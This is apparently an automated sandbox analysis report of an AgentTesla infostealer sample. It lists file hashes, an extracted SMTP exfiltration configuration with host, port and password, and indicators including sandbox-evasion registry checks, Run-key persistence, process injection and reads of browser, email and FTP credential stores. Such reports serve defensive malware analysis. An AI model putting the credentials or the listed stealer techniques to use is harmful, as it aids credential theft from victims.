Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
69s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
06/06/2024, 02:19
Static task
static1
Behavioral task
behavioral1
Sample
1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe
Resource
win10v2004-20240508-en
General
-
Target
1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe
-
Size
219KB
-
MD5
9e3e62e59a79ed00da2a3f311f899689
-
SHA1
8f624d3d40bacf98f5310eac8402c7a54f62518a
-
SHA256
1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1
-
SHA512
52ea87f574a5b399d8accf0bfab53050f97598f522cd686caeaea034471a8030a089d9c39dedda726451846fe09e70477c8e272a4cdcc674788bef74ab1b0410
-
SSDEEP
3072:uzJNjggfyKg0KggLV0FOhJirBwtHwwEJx5Ehl/Qs7GzrlKFHZWazC3ayZyn+q/wC:yH10CtAbv
Malware Config
Extracted
Protocol: smtp- Host:
aprtrit.shop - Port:
587 - Username:
[email protected] - Password:
GThc}*t4(mJc
Extracted
agenttesla
Protocol: smtp- Host:
aprtrit.shop - Port:
587 - Username:
[email protected] - Password:
GThc}*t4(mJc - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 5012 created 616 5012 powershell.EXE 5 -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Executes dropped EXE 2 IoCs
pid Process 3196 $774fe605 4624 $77dfb0c9 -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77bookwin = "C:\\Users\\Admin\\AppData\\Roaming\\$77bookwin.exe" 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 46 api.ipify.org 47 api.ipify.org -
Drops file in System32 directory 13 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3764 set thread context of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 5012 set thread context of 3680 5012 powershell.EXE 101 PID 3764 set thread context of 4624 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 102 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe -
Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5012 powershell.EXE 5012 powershell.EXE 5012 powershell.EXE 5012 powershell.EXE 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 4624 $77dfb0c9 4624 $77dfb0c9 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 4580 wmiprvse.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe Token: SeDebugPrivilege 5012 powershell.EXE Token: SeDebugPrivilege 5012 powershell.EXE Token: SeDebugPrivilege 3680 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2084 svchost.exe Token: SeIncreaseQuotaPrivilege 2084 svchost.exe Token: SeSecurityPrivilege 2084 svchost.exe Token: SeTakeOwnershipPrivilege 2084 svchost.exe Token: SeLoadDriverPrivilege 2084 svchost.exe Token: SeSystemtimePrivilege 2084 svchost.exe Token: SeBackupPrivilege 2084 svchost.exe Token: SeRestorePrivilege 2084 svchost.exe Token: SeShutdownPrivilege 2084 svchost.exe Token: SeSystemEnvironmentPrivilege 2084 svchost.exe Token: SeUndockPrivilege 2084 svchost.exe Token: SeManageVolumePrivilege 2084 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2084 svchost.exe Token: SeIncreaseQuotaPrivilege 2084 svchost.exe Token: SeSecurityPrivilege 2084 svchost.exe Token: SeTakeOwnershipPrivilege 2084 svchost.exe Token: SeLoadDriverPrivilege 2084 svchost.exe Token: SeSystemtimePrivilege 2084 svchost.exe Token: SeBackupPrivilege 2084 svchost.exe Token: SeRestorePrivilege 2084 svchost.exe Token: SeShutdownPrivilege 2084 svchost.exe Token: SeSystemEnvironmentPrivilege 2084 svchost.exe Token: SeUndockPrivilege 2084 svchost.exe Token: SeManageVolumePrivilege 2084 svchost.exe Token: SeAuditPrivilege 2728 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2084 svchost.exe Token: SeIncreaseQuotaPrivilege 2084 svchost.exe Token: SeSecurityPrivilege 2084 svchost.exe Token: SeTakeOwnershipPrivilege 2084 svchost.exe Token: SeLoadDriverPrivilege 2084 svchost.exe Token: SeSystemtimePrivilege 2084 svchost.exe Token: SeBackupPrivilege 2084 svchost.exe Token: SeRestorePrivilege 2084 svchost.exe Token: SeShutdownPrivilege 2084 svchost.exe Token: SeSystemEnvironmentPrivilege 2084 svchost.exe Token: SeUndockPrivilege 2084 svchost.exe Token: SeManageVolumePrivilege 2084 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2084 svchost.exe Token: SeIncreaseQuotaPrivilege 2084 svchost.exe Token: SeSecurityPrivilege 2084 svchost.exe Token: SeTakeOwnershipPrivilege 2084 svchost.exe Token: SeLoadDriverPrivilege 2084 svchost.exe Token: SeSystemtimePrivilege 2084 svchost.exe Token: SeBackupPrivilege 2084 svchost.exe Token: SeRestorePrivilege 2084 svchost.exe Token: SeShutdownPrivilege 2084 svchost.exe Token: SeSystemEnvironmentPrivilege 2084 svchost.exe Token: SeUndockPrivilege 2084 svchost.exe Token: SeManageVolumePrivilege 2084 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2084 svchost.exe Token: SeIncreaseQuotaPrivilege 2084 svchost.exe Token: SeSecurityPrivilege 2084 svchost.exe Token: SeTakeOwnershipPrivilege 2084 svchost.exe Token: SeLoadDriverPrivilege 2084 svchost.exe Token: SeSystemtimePrivilege 2084 svchost.exe Token: SeBackupPrivilege 2084 svchost.exe Token: SeRestorePrivilege 2084 svchost.exe Token: SeShutdownPrivilege 2084 svchost.exe Token: SeSystemEnvironmentPrivilege 2084 svchost.exe Token: SeUndockPrivilege 2084 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 3764 wrote to memory of 3196 3764 1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe 98 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 5012 wrote to memory of 3680 5012 powershell.EXE 101 PID 3680 wrote to memory of 616 3680 dllhost.exe 5 PID 3680 wrote to memory of 672 3680 dllhost.exe 7 PID 3680 wrote to memory of 956 3680 dllhost.exe 12 PID 3680 wrote to memory of 1012 3680 dllhost.exe 13 PID 3680 wrote to memory of 748 3680 dllhost.exe 14 PID 3680 wrote to memory of 1056 3680 dllhost.exe 16 PID 3680 wrote to memory of 1108 3680 dllhost.exe 17 PID 3680 wrote to memory of 1116 3680 dllhost.exe 18 PID 3680 wrote to memory of 1156 3680 dllhost.exe 19 PID 3680 wrote to memory of 1188 3680 dllhost.exe 20 PID 3680 wrote to memory of 1280 3680 dllhost.exe 21 PID 3680 wrote to memory of 1320 3680 dllhost.exe 22 PID 3680 wrote to memory of 1336 3680 dllhost.exe 23 PID 3680 wrote to memory of 1436 3680 dllhost.exe 24 PID 3680 wrote to memory of 1460 3680 dllhost.exe 25 PID 3680 wrote to memory of 1576 3680 dllhost.exe 26 PID 3680 wrote to memory of 1588 3680 dllhost.exe 27 PID 3680 wrote to memory of 1632 3680 dllhost.exe 28 PID 3680 wrote to memory of 1728 3680 dllhost.exe 29 PID 3680 wrote to memory of 1760 3680 dllhost.exe 30 PID 3680 wrote to memory of 1772 3680 dllhost.exe 31 PID 3680 wrote to memory of 1880 3680 dllhost.exe 32 PID 3680 wrote to memory of 2020 3680 dllhost.exe 33 PID 3680 wrote to memory of 2028 3680 dllhost.exe 34 PID 3680 wrote to memory of 1100 3680 dllhost.exe 35 PID 3680 wrote to memory of 2052 3680 dllhost.exe 36 PID 3680 wrote to memory of 2084 3680 dllhost.exe 37 PID 3680 wrote to memory of 2172 3680 dllhost.exe 38 PID 3680 wrote to memory of 2268 3680 dllhost.exe 40 PID 3680 wrote to memory of 2296 3680 dllhost.exe 41 PID 3680 wrote to memory of 2504 3680 dllhost.exe 42 PID 3680 wrote to memory of 2512 3680 dllhost.exe 43 PID 3680 wrote to memory of 2636 3680 dllhost.exe 44 PID 3680 wrote to memory of 2700 3680 dllhost.exe 45 PID 3680 wrote to memory of 2720 3680 dllhost.exe 46 PID 3680 wrote to memory of 2728 3680 dllhost.exe 47 PID 3680 wrote to memory of 2740 3680 dllhost.exe 48 PID 3680 wrote to memory of 2952 3680 dllhost.exe 49 PID 3680 wrote to memory of 2968 3680 dllhost.exe 50 PID 3680 wrote to memory of 1756 3680 dllhost.exe 51 PID 3680 wrote to memory of 2736 3680 dllhost.exe 53 PID 3680 wrote to memory of 3112 3680 dllhost.exe 54 PID 3680 wrote to memory of 3340 3680 dllhost.exe 55 PID 3680 wrote to memory of 3376 3680 dllhost.exe 56 PID 3680 wrote to memory of 3540 3680 dllhost.exe 57 PID 3680 wrote to memory of 3744 3680 dllhost.exe 58 PID 3680 wrote to memory of 3940 3680 dllhost.exe 60
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1012
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{234d6881-323e-4e04-b8cc-e7ae4c73e777}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:748
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1056
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1116
-
